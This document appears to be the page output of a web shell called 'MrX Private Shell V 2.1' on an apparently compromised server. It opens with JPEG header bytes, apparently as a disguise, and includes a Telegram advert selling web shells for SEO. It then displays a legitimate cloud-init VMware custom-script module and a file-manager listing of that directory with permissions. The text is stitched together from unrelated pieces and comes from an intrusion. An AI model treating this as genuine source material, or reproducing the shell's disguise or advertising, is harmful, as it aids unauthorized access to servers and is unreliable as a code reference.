����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright (C) 2017 Canonical Ltd.
# Copyright (C) 2017-2019 VMware Inc.
#
# Author: Maitreyee Saikia <msaikia@vmware.com>
#
# This file is part of cloud-init. See LICENSE file for license information.
import logging
import os
import stat
from cloudinit import subp, util
LOG = logging.getLogger(__name__)
class CustomScriptNotFound(Exception):
pass
class CustomScriptConstant:
CUSTOM_TMP_DIR = "/root/.customization"
# The user defined custom script
CUSTOM_SCRIPT_NAME = "customize.sh"
CUSTOM_SCRIPT = os.path.join(CUSTOM_TMP_DIR, CUSTOM_SCRIPT_NAME)
POST_CUSTOM_PENDING_MARKER = "/.guest-customization-post-reboot-pending"
# The cc_scripts_per_instance script to launch custom script
POST_CUSTOM_SCRIPT_NAME = "post-customize-guest.sh"
class RunCustomScript:
def __init__(self, scriptname, directory):
self.scriptname = scriptname
self.directory = directory
self.scriptpath = os.path.join(directory, scriptname)
def prepare_script(self):
if not os.path.exists(self.scriptpath):
raise CustomScriptNotFound(
"Script %s not found!! Cannot execute custom script!"
% self.scriptpath
)
util.ensure_dir(CustomScriptConstant.CUSTOM_TMP_DIR)
LOG.debug(
"Copying custom script to %s", CustomScriptConstant.CUSTOM_SCRIPT
)
util.copy(self.scriptpath, CustomScriptConstant.CUSTOM_SCRIPT)
# Strip any CR characters from the decoded script
content = util.load_text_file(
CustomScriptConstant.CUSTOM_SCRIPT
).replace("\r", "")
util.write_file(
CustomScriptConstant.CUSTOM_SCRIPT, content, mode=0o544
)
class PreCustomScript(RunCustomScript):
def execute(self):
"""Executing custom script with precustomization argument."""
LOG.debug("Executing pre-customization script")
self.prepare_script()
subp.subp([CustomScriptConstant.CUSTOM_SCRIPT, "precustomization"])
class PostCustomScript(RunCustomScript):
def __init__(self, scriptname, directory, ccScriptsDir):
super(PostCustomScript, self).__init__(scriptname, directory)
self.ccScriptsDir = ccScriptsDir
self.ccScriptPath = os.path.join(
ccScriptsDir, CustomScriptConstant.POST_CUSTOM_SCRIPT_NAME
)
def execute(self):
"""
This method copy the post customize run script to
cc_scripts_per_instance directory and let this
module to run post custom script.
"""
self.prepare_script()
LOG.debug("Copying post customize run script to %s", self.ccScriptPath)
util.copy(
os.path.join(
self.directory, CustomScriptConstant.POST_CUSTOM_SCRIPT_NAME
),
self.ccScriptPath,
)
st = os.stat(self.ccScriptPath)
os.chmod(self.ccScriptPath, st.st_mode | stat.S_IEXEC)
LOG.info("Creating post customization pending marker")
util.ensure_file(CustomScriptConstant.POST_CUSTOM_PENDING_MARKER)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| boot_proto.py | File | 308 B | 0644 |
|
| config.py | File | 4.42 KB | 0644 |
|
| config_custom_script.py | File | 3.03 KB | 0644 |
|
| config_file.py | File | 2.15 KB | 0644 |
|
| config_nic.py | File | 8.27 KB | 0644 |
|
| config_passwd.py | File | 2.37 KB | 0644 |
|
| config_source.py | File | 276 B | 0644 |
|
| guestcust_error.py | File | 411 B | 0644 |
|
| guestcust_event.py | File | 461 B | 0644 |
|
| guestcust_state.py | File | 358 B | 0644 |
|
| guestcust_util.py | File | 19.99 KB | 0644 |
|
| nic.py | File | 3.21 KB | 0644 |
|
| nic_base.py | File | 3.78 KB | 0644 |
|